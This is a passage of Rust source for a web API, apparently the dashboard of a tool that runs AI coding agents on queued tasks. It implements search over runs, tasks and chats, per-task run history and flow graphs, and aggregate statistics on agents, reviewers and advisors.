3357 match value {
3358 serde_json::Value::String(s) => out.push((field, s)),
3359 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3360 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3361 _ => {}
3362 }
3363}
3364
3365fn fold_char(c: char) -> char {
3368 c.to_lowercase().next().unwrap_or(c)
3369}
3370
3371fn search_terms(q: &str) -> Vec<String> {
3373 let mut terms: Vec<String> = Vec::new();
3374 for t in q.split_whitespace() {
3375 let t = t.to_lowercase();
3376 if !terms.contains(&t) {
3377 terms.push(t);
3378 }
3379 }
3380 terms
3381}
3382
3383fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3386 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3387 let mut first: Option<usize> = None;
3388 for term in terms {
3389 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3390 first = Some(first.map_or(at, |f| f.min(at)));
3391 }
3392 let (field, text) = leaves[first?];
3394 Some(SearchHit {
3395 id: String::new(),
3396 field: field.to_owned(),
3397 snippet: snippet_of(text, terms),
3398 run: None,
3399 })
3400}
3401
3402fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3405 let chars: Vec<char> = text.chars().collect();
3406 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3407 let needles: Vec<Vec<char>> = terms
3408 .iter()
3409 .map(|t| t.chars().map(fold_char).collect())
3410 .collect();
3411 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3412 let mut best: Option<(usize, usize)> = None;
3413 for n in needles.iter().filter(|n| !n.is_empty()) {
3414 if n.len() > chars.len() || to == 0 {
3418 continue;
3419 }
3420 let last = (to - 1).min(chars.len() - n.len());
3421 if from > last {
3422 continue;
3423 }
3424 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3425 && best.is_none_or(|(b, _)| i < b)
3426 {
3427 best = Some((i, i + n.len()));
3428 }
3429 }
3430 best
3431 };
3432 let Some((start, _)) = find(0, chars.len()) else {
3433 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3435 return vec![SnippetPart {
3436 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3437 hit: false,
3438 }];
3439 };
3440 let lo = start.saturating_sub(SNIPPET_BEFORE);
3441 let hi = (start + SNIPPET_AFTER).min(chars.len());
3442 let mut parts: Vec<SnippetPart> = Vec::new();
3443 let mut push = |s: &[char], hit: bool| {
3444 if s.is_empty() {
3445 return;
3446 }
3447 let text: String = s.iter().collect();
3448 match parts.last_mut() {
3449 Some(p) if p.hit == hit => p.text.push_str(&text),
3450 _ => parts.push(SnippetPart { text, hit }),
3451 }
3452 };
3453 if lo > 0 {
3454 push(&['\u{2026}'], false);
3455 }
3456 let mut at = lo;
3457 while at < hi {
3458 match find(at, hi) {
3459 Some((s, e)) => {
3460 push(&chars[at..s], false);
3461 let shown = e.min(hi);
3463 push(&chars[s..shown], true);
3464 at = shown;
3465 }
3466 None => {
3467 push(&chars[at..hi], false);
3468 at = hi;
3469 }
3470 }
3471 }
3472 if hi < chars.len() {
3473 push(&['\u{2026}'], false);
3474 }
3475 let mut prev_space = false;
3478 for p in &mut parts {
3479 let mut out = String::with_capacity(p.text.len());
3480 for c in p.text.chars() {
3481 if c.is_whitespace() {
3482 if !prev_space {
3483 out.push(' ');
3484 }
3485 prev_space = true;
3486 } else {
3487 out.push(c);
3488 prev_space = false;
3489 }
3490 }
3491 p.text = out;
3492 }
3493 parts.retain(|p| !p.text.is_empty());
3494 parts
3495}
3496
3497fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3499where
3500 I: IntoIterator<Item = (String, serde_json::Value)>,
3501{
3502 for (id, doc) in docs {
3503 let mut leaves = Vec::new();
3504 leaves.push(("id", id.as_str()));
3507 text_leaves(&doc, "", &mut leaves);
3508 if let Some(mut hit) = search_document(terms, &leaves) {
3509 view.total += 1;
3510 if view.hits.len() < SEARCH_MAX_HITS {
3511 hit.id = id;
3512 view.hits.push(hit);
3513 }
3514 }
3515 }
3516 view.truncated = view.total > view.hits.len();
3517}
3518
3519fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3526 let opener = talk
3527 .turns
3528 .iter()
3529 .find(|t| t.who == crate::talk::Who::Operator)
3530 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3531 .unwrap_or("");
3532 let title: String = if opener.chars().count() > 96 {
3533 opener.chars().take(95).chain(['\u{2026}']).collect()
3534 } else {
3535 opener.to_owned()
3536 };
3537 let turns: Vec<serde_json::Value> = talk
3538 .turns
3539 .iter()
3540 .map(|t| {
3541 let who = match t.who {
3542 crate::talk::Who::Operator => "operator",
3543 crate::talk::Who::Agent => "agent",
3544 };
3545 serde_json::json!({ who: t.body })
3546 })
3547 .collect();
3548 serde_json::json!({ "title": title, "turns": turns })
3549}
3550
3551async fn search_get(
3558 State(ui): State<Arc<Ui>>,
3559 Query(q): Query<SearchQuery>,
3560) -> ApiResult<Json<SearchView>> {
3561 let query = q.q.trim().to_owned();
3562 if query.is_empty() {
3563 return Err(ApiError::bad_request("q must not be empty"));
3564 }
3565 if query.chars().count() > SEARCH_MAX_QUERY {
3566 return Err(ApiError::bad_request(format!(
3567 "q is longer than {SEARCH_MAX_QUERY} characters"
3568 )));
3569 }
3570 let terms = search_terms(&query);
3571 if terms.len() > SEARCH_MAX_TERMS {
3572 return Err(ApiError::bad_request(format!(
3573 "q has more than {SEARCH_MAX_TERMS} terms"
3574 )));
3575 }
3576 let scope = q.scope;
3577 if scope != "runs" && scope != "tasks" && scope != "chats" {
3578 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3579 }
3580 blocking(move || {
3581 let mut view = SearchView {
3582 scope: scope.clone(),
3583 q: query,
3584 hits: Vec::new(),
3585 total: 0,
3586 truncated: false,
3587 unreadable: 0,
3588 };
3589 if scope == "runs" {
3590 let mut unreadable = 0;
3591 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3595 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3596 match body.and_then(|b| serde_json::from_str(&b).ok()) {
3597 Some(v) => Some((id, v)),
3598 None => {
3599 unreadable += 1;
3600 None
3601 }
3602 }
3603 });
3604 search_docs(&terms, docs, &mut view);
3605 view.unreadable = unreadable;
3606 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3609 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3610 for hit in &mut view.hits {
3611 if let Ok(state) = read_run(&ui.runs, &hit.id) {
3612 hit.run = summarize(
3613 [state],
3614 &open_runs,
3615 &claimed,
3616 &superseded,
3617 |p| probe.borrow_mut().status(p),
3618 |p| probe.borrow_mut().started_at(p),
3619 )
3620 .pop();
3621 }
3622 }
3623 } else if scope == "chats" {
3624 let (talks, unreadable) = ui.talks.list_counting_unreadable();
3625 view.unreadable = unreadable;
3626 search_docs(
3627 &terms,
3628 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3629 &mut view,
3630 );
3631 } else {
3632 let docs = ui.queue.list().into_iter().filter_map(|t| {
3633 let mut v = serde_json::to_value(&t).ok()?;
3634 if let Some(o) = v.as_object_mut() {
3637 o.insert("filed_by".to_owned(), t.source.label().into());
3638 }
3639 Some((t.id, v))
3640 });
3641 search_docs(&terms, docs, &mut view);
3642 }
3643 Ok(Json(view))
3644 })
3645 .await
3646}
3647
3648#[derive(Debug, Serialize)]
3650struct TaskRunView {
3651 n: usize,
3653 id: String,
3654 short: String,
3655 kind: &'static str,
3657 status: Option<&'static str>,
3659 readable: bool,
3661 provisional: bool,
3663 description: String,
3665 outcome: String,
3667 created_at: Option<Timestamp>,
3668 pr: Option<String>,
3669 exit: RunExit,
3671 attempt: AttemptCost,
3673 branch: Option<String>,
3675}
3676
3677#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3679#[serde(rename_all = "snake_case")]
3680enum RunExit {
3681 Unreadable,
3682 Interrupted,
3684 Parked,
3685 QuotaStall,
3686 ResumedQuotaStall,
3690 Merged,
3691 Ready,
3692 Superseded,
3693 AlreadyInBase,
3696 Stalled,
3698 HeldWithPr,
3700 NoopHeld,
3701 Spent,
3703 InProgress,
3704}
3705
3706#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3707#[serde(rename_all = "snake_case")]
3708enum AttemptCost {
3709 Spent,
3710 Refunded,
3711 None,
3712 Unknown,
3714}
3715
3716impl RunExit {
3717 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3718 let Some(s) = s else {
3719 return Self::Unreadable;
3720 };
3721 let status = s.status;
3722 if resumed_later {
3723 Self::Interrupted
3724 } else if s.parked {
3725 Self::Parked
3726 } else if !status.done() {
3727 Self::InProgress
3728 } else if matches!(status, RunStatus::Merged) {
3729 Self::Merged
3730 } else if matches!(status, RunStatus::Ready) {
3731 Self::Ready
3732 } else if matches!(status, RunStatus::Superseded) {
3733 Self::Superseded
3734 } else if matches!(status, RunStatus::AlreadyInBase) {
3735 Self::AlreadyInBase
3736 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3737 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3738 {
3739 if resumed {
3740 Self::ResumedQuotaStall
3741 } else {
3742 Self::QuotaStall
3743 }
3744 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3745 Self::HeldWithPr
3746 } else if matches!(status, RunStatus::VerifiedNoop) {
3747 Self::NoopHeld
3748 } else if matches!(status, RunStatus::Stalled) {
3749 Self::Stalled
3750 } else {
3751 Self::Spent
3752 }
3753 }
3754
3755 fn cost(self) -> AttemptCost {
3756 match self {
3757 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3758 Self::Merged
3759 | Self::Ready
3760 | Self::Stalled
3761 | Self::HeldWithPr
3762 | Self::NoopHeld
3763 | Self::Spent => AttemptCost::Spent,
3764 Self::InProgress => AttemptCost::None,
3765 Self::AlreadyInBase => AttemptCost::Refunded,
3766 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3767 AttemptCost::Unknown
3768 }
3769 }
3770 }
3771
3772 fn edge_label(self, status: Option<&str>) -> String {
3774 match self {
3775 Self::Unreadable => "record unreadable".to_owned(),
3776 Self::Interrupted => "interrupted before the run finished".to_owned(),
3777 Self::Parked => "parked, attempt refunded".to_owned(),
3778 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3779 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3780 Self::Merged => "merged".to_owned(),
3781 Self::Ready => "ready, not merged".to_owned(),
3782 Self::Superseded => "superseded by a later attempt".to_owned(),
3783 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3784 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3785 Self::HeldWithPr => "blocked, PR left open".to_owned(),
3786 Self::NoopHeld => "verified no-op".to_owned(),
3787 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3788 Self::InProgress => "in progress".to_owned(),
3789 }
3790 }
3791
3792 fn explains(self, end: TaskStatus) -> bool {
3795 match self {
3796 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3797 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3798 Self::Unreadable | Self::Superseded | Self::Ready => true,
3799 _ => end != TaskStatus::Done,
3800 }
3801 }
3802}
3803
3804#[derive(Debug, Serialize)]
3806struct TaskDetailView {
3807 #[serde(flatten)]
3808 task: TaskView,
3809 max_attempts: usize,
3812 history: Vec<TaskRunView>,
3813 flow: FlowView,
3814 runs_unreadable: usize,
3816 attempts_note: &'static str,
3818}
3819
3820const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3821and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3822on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3823in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3824
3825fn review_branch_of(instruction: &str) -> Option<&str> {
3828 let rest = instruction.strip_prefix("Review the work already on branch `")?;
3829 rest.split('`').next().filter(|b| !b.is_empty())
3830}
3831
3832struct RunSlot<'a> {
3834 n: usize,
3836 resumed: bool,
3838 resumed_later: Option<usize>,
3840 prior: Option<(&'a str, RunStatus)>,
3842 last: bool,
3843}
3844
3845fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
3848 let RunSlot {
3849 n,
3850 resumed,
3851 resumed_later,
3852 prior,
3853 last,
3854 } = at;
3855 let short = run::short_of(id).to_owned();
3856 let Some(s) = state else {
3857 return TaskRunView {
3858 n,
3859 id: id.to_owned(),
3860 short,
3861 kind: "unknown",
3862 status: None,
3863 readable: false,
3864 provisional: false,
3865 description:
3866 "This run's record could not be read by this build (written by a different \
3867 magi, or removed), so what kind of attempt it was is unknown."
3868 .to_owned(),
3869 outcome: String::new(),
3870 created_at: None,
3871 pr: None,
3872 exit: RunExit::Unreadable,
3873 attempt: AttemptCost::Unknown,
3874 branch: None,
3875 };
3876 };
3877 let branch = review_branch_of(&s.instruction);
3878 let kind = if resumed {
3879 "resume"
3880 } else if branch.is_some() {
3881 "review"
3882 } else if task.solo || s.candidates.len() == 1 {
3883 "solo"
3884 } else {
3885 "competition"
3886 };
3887 let mut description = match kind {
3888 "resume" => {
3889 format!("Resumed run {short}: the same run carried on instead of competing again.")
3890 }
3891 "review" => format!(
3892 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
3893 branch.unwrap_or_default()
3894 ),
3895 "solo" => "Solo run: one implementer straight into review.".to_owned(),
3896 _ => format!(
3897 "Competition: {} candidates judged blind.",
3898 s.candidates.len().max(1)
3899 ),
3900 };
3901 if !resumed && let Some((p, st)) = prior {
3902 description.push_str(&format!(
3903 " A retry: run {p} before it ended {}.",
3904 st.display_label()
3905 ));
3906 }
3907
3908 let status = s.status;
3909 let provisional = matches!(status, RunStatus::Stalled)
3910 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
3911 let head = if resumed_later.is_some() {
3912 String::new()
3913 } else {
3914 match status {
3915 RunStatus::Merged => "Merged.".to_owned(),
3916 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
3917 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
3918 RunStatus::AlreadyInBase => {
3919 "Already in the base: this change landed under other commits, nothing was left to land."
3920 .to_owned()
3921 }
3922 RunStatus::Stalled => {
3923 "Stalled: the judging panel never reached a quorum, so there is no verdict."
3924 .to_owned()
3925 }
3926 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
3927 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
3928 RunStatus::VerifiedNoop => {
3929 "Verified no-op: the candidates found nothing to change.".to_owned()
3930 }
3931 other if other.done() => format!("Ended {}.", other.display_label()),
3932 other => format!("In progress ({}).", other.display_label()),
3933 }
3934 };
3935 let why = if let Some(k) = resumed_later {
3936 let cause = if s.quota.is_empty() {
3943 "the cause was not recorded: a park, a crash or a restart all look the same from here"
3944 } else {
3945 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
3946 };
3947 format!(
3948 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
3949 )
3950 } else if s.parked {
3951 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
3952 .to_owned()
3953 } else if !status.done()
3954 || matches!(
3955 status,
3956 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
3957 )
3958 {
3959 String::new()
3960 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3961 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3962 {
3963 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
3964 .to_owned()
3965 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3966 " It left a pull request open, so the task was held for a person rather than retried."
3967 .to_owned()
3968 } else if matches!(status, RunStatus::VerifiedNoop) {
3969 " Held for a person to check the claim.".to_owned()
3970 } else if last {
3971 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
3972 } else {
3973 " It spent an attempt, and the task moved on to the next run.".to_owned()
3974 };
3975 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
3976 TaskRunView {
3977 n,
3978 id: id.to_owned(),
3979 short,
3980 kind,
3981 status: Some(status.as_str()),
3982 readable: true,
3983 provisional,
3984 description,
3985 outcome: format!("{head}{why}"),
3986 created_at: Some(s.created_at),
3987 pr: s.pr.as_ref().map(|p| p.url.clone()),
3988 exit,
3989 attempt: exit.cost(),
3990 branch: branch.map(str::to_owned),
3991 }
3992}
3993
3994#[derive(Debug, Serialize, PartialEq)]
3996struct FlowNode {
3997 key: String,
3999 kind: &'static str,
4001 label: String,
4002 status: Option<&'static str>,
4005 note: Option<&'static str>,
4007 run_kind: Option<&'static str>,
4008 detail: Option<String>,
4009 decided: bool,
4011 readable: bool,
4012 href: Option<String>,
4013}
4014
4015#[derive(Debug, Serialize, PartialEq)]
4016struct FlowEdge {
4017 from: String,
4018 to: String,
4019 label: String,
4020 attempt: AttemptCost,
4021}
4022
4023#[derive(Debug, Serialize, PartialEq)]
4024struct FlowView {
4025 nodes: Vec<FlowNode>,
4026 edges: Vec<FlowEdge>,
4027 attempts: usize,
4029 max_attempts: usize,
4030}
4031
4032fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4035 let node = |key: &str, kind, label: String| FlowNode {
4036 key: key.to_owned(),
4037 kind,
4038 label,
4039 status: None,
4040 note: None,
4041 run_kind: None,
4042 detail: None,
4043 decided: false,
4044 readable: true,
4045 href: None,
4046 };
4047 let mut nodes = Vec::new();
4048 let mut edges: Vec<FlowEdge> = Vec::new();
4049 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4051 let mut n = node(
4052 "chat",
4053 "chat",
4054 format!("Chat {}", crate::queue::short(&link.id)),
4055 );
4056 n.href = Some(link.href);
4057 nodes.push(n);
4058 edges.push(FlowEdge {
4059 from: "chat".to_owned(),
4060 to: "start".to_owned(),
4061 label: "queued from chat".to_owned(),
4062 attempt: AttemptCost::None,
4063 });
4064 }
4065 nodes.push(node("start", "start", "Task queued".to_owned()));
4066 let mut prev = "start".to_owned();
4067 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4068 for (i, h) in history.iter().enumerate() {
4069 let key = format!("run-{}", h.n);
4070 let mut n = node(&key, "run", format!("Run {}", h.short));
4071 n.run_kind = Some(h.kind);
4072 n.readable = h.readable;
4073 n.href = Some(format!("#/runs/{}", h.id));
4074 n.decided = h.readable && !h.provisional;
4075 n.detail = h
4076 .branch
4077 .as_ref()
4078 .map(|b| format!("review-only run of branch {b}"));
4079 match h.exit {
4080 RunExit::Unreadable => n.note = Some("unreadable"),
4081 RunExit::Interrupted => n.note = Some("interrupted"),
4082 _ => {
4083 n.status = h.status;
4084 if h.provisional {
4085 n.note = Some("no verdict");
4086 }
4087 }
4088 }
4089 let into = match h.kind {
4090 "review" => Some(format!(
4091 "review-only run of branch {}",
4092 h.branch.as_deref().unwrap_or("?")
4093 )),
4094 "resume" => Some("resume the same run".to_owned()),
4095 _ if i > 0 => Some("retry".to_owned()),
4096 _ => None,
4097 };
4098 let label = match (prev_exit, into) {
4099 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4100 (Some((e, st)), None) => e.edge_label(st),
4101 (None, Some(i)) => i,
4102 (None, None) => "claimed".to_owned(),
4103 };
4104 edges.push(FlowEdge {
4105 from: prev.clone(),
4106 to: key.clone(),
4107 label,
4108 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4109 });
4110 prev_exit = Some((h.exit, h.status));
4111 prev = key;
4112 nodes.push(n);
4113 }
4114 let mut end = node("end", "end", task.status.as_str().to_owned());
4115 end.status = Some(task.status.as_str());
4116 nodes.push(end);
4117 let (label, attempt) = match prev_exit {
4118 None => (
4119 format!("no run yet \u{2192} {}", task.status.as_str()),
4120 AttemptCost::None,
4121 ),
4122 Some((e, st)) if e.explains(task.status) => (
4123 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4124 e.cost(),
4125 ),
4126 Some((e, _)) => (
4127 format!("closed by hand: task is {}", task.status.as_str()),
4128 e.cost(),
4129 ),
4130 };
4131 edges.push(FlowEdge {
4132 from: prev,
4133 to: "end".to_owned(),
4134 label,
4135 attempt,
4136 });
4137 FlowView {
4138 nodes,
4139 edges,
4140 attempts: task.attempts,
4141 max_attempts,
4142 }
4143}
4144
4145fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4148 let mut history = Vec::with_capacity(task.runs.len());
4149 let mut seen: Vec<&str> = Vec::new();
4150 let mut prior: Option<(&str, RunStatus)> = None;
4151 for (i, run_id) in task.runs.iter().enumerate() {
4152 let state = read(run_id);
4153 let resumed = seen.contains(&run_id.as_str());
4154 seen.push(run_id);
4155 history.push(task_run_view(
4156 run_id,
4157 state.as_ref(),
4158 RunSlot {
4159 n: i + 1,
4160 resumed,
4161 resumed_later: task.runs[i + 1..]
4162 .iter()
4163 .position(|r| r == run_id)
4164 .map(|off| i + off + 2),
4165 prior,
4166 last: i + 1 == task.runs.len(),
4167 },
4168 task,
4169 ));
4170 if let Some(s) = &state {
4171 prior = Some((run::short_of(run_id), s.status));
4172 }
4173 }
4174 history
4175}
4176
4177async fn task_detail(
4178 State(ui): State<Arc<Ui>>,
4179 Path(id): Path<String>,
4180) -> ApiResult<Json<TaskDetailView>> {
4181 blocking(move || {
4182 let id = resolve_task(&ui.queue, &id)?;
4183 let task = ui
4184 .queue
4185 .get(&id)
4186 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4187 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4188 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4189 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4190 let max_attempts = daemon::Opts::default().max_attempts;
4191 let flow = task_flow(&task, &history, max_attempts);
4192 Ok(Json(TaskDetailView {
4193 max_attempts,
4194 flow,
4195 history,
4196 runs_unreadable,
4197 attempts_note: ATTEMPTS_NOTE,
4198 task: TaskView::with_inventory(task, &inv),
4199 }))
4200 })
4201 .await
4202}
4203
4204#[derive(Debug, Serialize)]
4208struct RateView {
4209 pct: f64,
4210 denominator: usize,
4211}
4212
4213impl RateView {
4214 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4215 (denominator > 0).then(|| Self {
4216 pct: 100.0 * numerator as f64 / denominator as f64,
4217 denominator,
4218 })
4219 }
4220}
4221
4222#[derive(Debug, Serialize)]
4227struct StatsTotalsView {
4228 runs: usize,
4229 merged: usize,
4230 ready: usize,
4231 blocked: usize,
4232 failed: usize,
4233 stalled: usize,
4234 verified_noop: usize,
4235 superseded: usize,
4236 in_progress: usize,
4237 completion_rate: Option<RateView>,
4238 tallied: usize,
4239 split: usize,
4240 split_rate: Option<RateView>,
4241 deliberated: usize,
4242 minds_changed: usize,
4243 converged: usize,
4244 review_rounds: usize,
4245}
4246
4247impl From<&stats::Totals> for StatsTotalsView {
4248 fn from(t: &stats::Totals) -> Self {
4249 Self {
4250 runs: t.runs,
4251 merged: t.merged,
4252 ready: t.ready,
4253 blocked: t.blocked,
4254 failed: t.failed,
4255 stalled: t.stalled,
4256 verified_noop: t.verified_noop,
4257 superseded: t.superseded,
4258 in_progress: t.in_progress,
4259 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4260 tallied: t.tallied,
4261 split: t.split,
4262 split_rate: RateView::of(t.split, t.tallied),
4263 deliberated: t.deliberated,
4264 minds_changed: t.minds_changed,
4265 converged: t.converged,
4266 review_rounds: t.review_rounds,
4267 }
4268 }
4269}
4270
4271#[derive(Debug, Serialize)]
4273struct AgentStatsView {
4274 agent: String,
4275 entered: usize,
4276 wins: usize,
4277 empty: usize,
4278 win_rate: Option<RateView>,
4279}
4280
4281impl From<&stats::AgentStats> for AgentStatsView {
4282 fn from(a: &stats::AgentStats) -> Self {
4283 Self {
4284 agent: a.agent.clone(),
4285 entered: a.entered,
4286 wins: a.wins,
4287 empty: a.empty,
4288 win_rate: RateView::of(a.wins, a.entered),
4289 }
4290 }
4291}
4292
4293#[derive(Debug, Serialize)]
4297struct ReviewerStatsView {
4298 agent: String,
4299 rounds: usize,
4300 seated: usize,
4301 submitted: usize,
4302 adopted: usize,
4303 unique: usize,
4304 timeouts: usize,
4305 adopted_per_round: Option<f64>,
4306 precision: Option<RateView>,
4307 unique_rate: Option<RateView>,
4308 timeout_rate: Option<RateView>,
4309}
4310
4311impl From<&stats::ReviewerStats> for ReviewerStatsView {
4312 fn from(r: &stats::ReviewerStats) -> Self {
4313 Self {
4314 agent: r.agent.clone(),
4315 rounds: r.rounds,
4316 seated: r.seated,
4317 submitted: r.submitted,
4318 adopted: r.adopted,
4319 unique: r.unique,
4320 timeouts: r.timeouts,
4321 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4322 precision: RateView::of(r.adopted, r.submitted),
4323 unique_rate: RateView::of(r.unique, r.submitted),
4324 timeout_rate: RateView::of(r.timeouts, r.seated),
4325 }
4326 }
4327}
4328
4329#[derive(Debug, Serialize)]
4335struct AdvisorStatsView {
4336 agent: String,
4337 seated: usize,
4338 proposed: usize,
4339 absent: usize,
4340 faint: usize,
4341 strong: usize,
4342 reflection_rate: Option<RateView>,
4343}
4344
4345impl From<&stats::AdvisorStats> for AdvisorStatsView {
4346 fn from(a: &stats::AdvisorStats) -> Self {
4347 Self {
4348 agent: a.agent.clone(),
4349 seated: a.seated,
4350 proposed: a.proposed,
4351 absent: a.absent,
4352 faint: a.faint,
4353 strong: a.strong,
4354 reflection_rate: RateView::of(a.strong, a.proposed),
4355 }
4356 }
4357}
4358
4359#[derive(Debug, Serialize)]
4361struct E2eStatsView {
4362 rounds: usize,
4363 failures: usize,
4364 sole_detections: usize,
4365 deferred: usize,
4366 sole_rate: Option<RateView>,
4367}
4368
4369impl From<&stats::E2eStats> for E2eStatsView {
4370 fn from(e: &stats::E2eStats) -> Self {
4371 Self {
4372 rounds: e.rounds,
4373 failures: e.failures,
4374 sole_detections: e.sole_detections,
4375 deferred: e.deferred,
4376 sole_rate: RateView::of(e.sole_detections, e.failures),
4377 }
4378 }
4379}
4380
4381#[derive(Debug, Serialize)]
4389struct ReleaseBumpStatsView {
4390 merged: usize,
4391 recorded: usize,
4392 pr_opened: usize,
4393 automerge_enabled: usize,
4394 merged_directly: usize,
4395 needs_attention: usize,
4396 clean: usize,
4397 coverage_rate: Option<RateView>,
4398 automerge_rate: Option<RateView>,
4399 attention_rate: Option<RateView>,
4400}
4401
4402impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4403 fn from(b: &stats::ReleaseBumpStats) -> Self {
4404 Self {
4405 merged: b.merged,
4406 recorded: b.recorded,
4407 pr_opened: b.pr_opened,
4408 automerge_enabled: b.automerge_enabled,
4409 merged_directly: b.merged_directly,
4410 needs_attention: b.needs_attention,
4411 clean: b.clean(),
4412 coverage_rate: RateView::of(b.recorded, b.merged),
4413 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4414 attention_rate: RateView::of(b.needs_attention, b.recorded),
4415 }
4416 }
4417}
4418
4419#[derive(Debug, Serialize)]
4421struct TaskCountsView {
4422 queued: usize,
4423 running: usize,
4424 done: usize,
4425 failed: usize,
4426 held: usize,
4427 blocked: usize,
4428}
4429
4430impl From<crate::queue::TaskCounts> for TaskCountsView {
4431 fn from(c: crate::queue::TaskCounts) -> Self {
4432 Self {
4433 queued: c.queued,
4434 running: c.running,
4435 done: c.done,
4436 failed: c.failed,
4437 held: c.held,
4438 blocked: c.blocked,
4439 }
4440 }
4441}
4442
4443#[derive(Debug, Serialize)]
4449struct RepoSummaryView {
4450 repo: String,
4453 name: String,
4455 runs: usize,
4456 completion_rate: Option<RateView>,
4457}
4458
4459impl From<&stats::RepoStats> for RepoSummaryView {
4460 fn from(r: &stats::RepoStats) -> Self {
4461 let t = &r.stats.totals;
4462 Self {
4463 repo: r.repo.to_string_lossy().into_owned(),
4464 name: r.name.clone(),
4465 runs: t.runs,
4466 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4467 }
4468 }
4469}
4470
4471#[derive(Debug, Serialize)]
4477struct StatsView {
4478 totals: StatsTotalsView,
4479 agents: Vec<AgentStatsView>,
4481 reviewers: Vec<ReviewerStatsView>,
4483 advisors: Vec<AdvisorStatsView>,
4485 e2e: E2eStatsView,
4486 release_bumps: ReleaseBumpStatsView,
4487 queue: TaskCountsView,
4488 runs_unreadable: usize,
4498 repos: Vec<RepoSummaryView>,
4502 repo: Option<String>,
4506}
4507
4508#[derive(Debug, Default, Deserialize)]
4517#[serde(default)]
4518struct StatsQuery {
4519 repo: Option<String>,
4520}
4521
4522async fn stats_get(
4529 State(ui): State<Arc<Ui>>,
4530 Query(q): Query<StatsQuery>,
4531) -> ApiResult<Json<StatsView>> {
4532 blocking(move || {
4533 let states: Vec<RunState> = run_ids(&ui.runs)
4534 .into_iter()
4535 .filter_map(|id| read_run(&ui.runs, &id).ok())
4536 .collect();
4537 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4538 .iter()
4539 .map(RepoSummaryView::from)
4540 .collect();
4541 let collected = match &q.repo {
4542 Some(repo) => {
